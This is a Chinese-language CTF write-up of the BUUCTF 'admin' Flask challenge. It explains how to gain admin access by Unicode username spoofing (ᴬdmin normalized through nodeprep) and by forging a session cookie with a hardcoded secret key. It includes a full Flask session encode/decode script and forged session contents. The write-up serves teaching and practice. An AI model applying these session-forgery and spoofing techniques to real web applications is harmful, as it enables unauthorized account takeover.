BUUCTF学习笔记-admin

BUUCTF Admin

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考点：session欺骗、flask框架

源代码发现两个登陆地址，一个是登陆地址，一个是注册地址

随意注册成功，登陆有一个remember me

查看源代码发现四个页面，/change 是修改密码界面

想要获取admin的账户，只可能是从两个方面入手，一个是注册时修改admin密码，另一个就是通过修改密码，修改admin的密码。
change功能里的源码中，提供了一个github地址。

https://github.com/woadsl1234/hctf_flask/

方法一 Unicode欺骗

不管是login、register还是change页面，只要是关于session['name']的操作，都先用了strlower函数将name转成小写，但是python中有自带的转小写函数lower，这里重写了一个，我们查看一下定义：

def strlower(username):
    username = nodeprep.prepare(username)
    return username

使用了 nodeprep.prepare 函数，该函数的作用是将大写转化为小写

但它同时会将 unicode 字符 ᴬ 转换成A，而 A 再调用一次nodeprep.prepare函数会把 A 转换成 a 也就是说我们可以使用ᴬdmin注册登录，登陆后再想办法让服务器再执行一次 nodeprep.prepare ，便可以变成admin账户,发现修改密码功能中存在

name = strlower(session['name'])

方法二 flask session伪造

查看源码，提示you are not admin，猜测需要admin登录

注册登录，网站功能页面很多，依次查看源码，在change password界面发现源码

是一个flask 框架 ，进入routes.py，看一下注册和登录部分的源码

@app.route('/register', methods = ['GET', 'POST'])
def register():

    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = RegisterForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        if session.get('image').lower() != form.verify_code.data.lower():
            flash('Wrong verify code.')
            return render_template('register.html', title = 'register', form=form)
        if User.query.filter_by(username = name).first():
            flash('The username has been registered')
            return redirect(url_for('register'))
        user = User(username=name)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('register successful')
        return redirect(url_for('login'))
    return render_template('register.html', title = 'register', form = form)

@app.route('/login', methods = ['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)

根据登录逻辑，如果是已登陆状态，再次刷新会验证session，我们可以据此伪造成admin的session绕过登录

由于 flask 是非常轻量级的 Web框架 ，其 session 存储在客户端中（可以通过HTTP请求头Cookie字段的session获取），且仅对 session 进行了签名，缺少数据防篡改实现，这便很容易存在安全漏洞。

我们可以用python脚本把flask的session解密出来，但是如果想要加密伪造生成我们自己的session的话，还需要知道flask用来签名的SECRET_KEY

全局搜索，在config.py中发现

class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True

猜测这个ckj123就是密钥

使用脚本对其进行解加密

""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

解密的两种方式，session值通过抓包

解密:
python flask_session_manager.py decode -c -s 
# -c是flask cookie里的session值 -s参数是SECRET_KEY
加密:
python flask_session_manager.py encode -s -t 
# -s参数是SECRET_KEY -t参数是session的参照格式，也就是session解密后的格式

正确的session大概有4行

先进行解密，将登录成功之后的cookie复制，填在对应参数后面（参数用引号括起来），得到：

{'_fresh': True, '_id': b'06d501eb12c482013fed057d645510ec7771bcaf2ecd2385960e7701a2bb8d92764876eae79573f144947d25d6fef3d0604d24aa6a3ba893a7b89471f1c1c2b8', 'csrf_token': b'913c3e48f14387e21630e82553ea9dbddfd82d26', 'image': b'KOxu', 'name': 'aaa', 'user_id': '12'}

再通过修改name 为admin 加密

{'_fresh': True, '_id': b'06d501eb12c482013fed057d645510ec7771bcaf2ecd2385960e7701a2bb8d92764876eae79573f144947d25d6fef3d0604d24aa6a3ba893a7b89471f1c1c2b8', 'csrf_token': b'913c3e48f14387e21630e82553ea9dbddfd82d26', 'image': b'KOxu', 'name': 'admin', 'user_id': '12'}

修改包中的session进入admin账户，得到flag

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d92764876eae79573f144947d25d6fef3d0604d24aa6a3ba893a7b89471f1c1c2b8’, ‘csrf_token’: b’913c3e48f14387e21630e82553ea9dbddfd82d26’, ‘image’: b’KOxu’, ‘name’: ‘admin’, ‘user_id’: ‘12’}

修改包中的session进入admin账户，得到flag

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考点：flask框架 session修改欺骗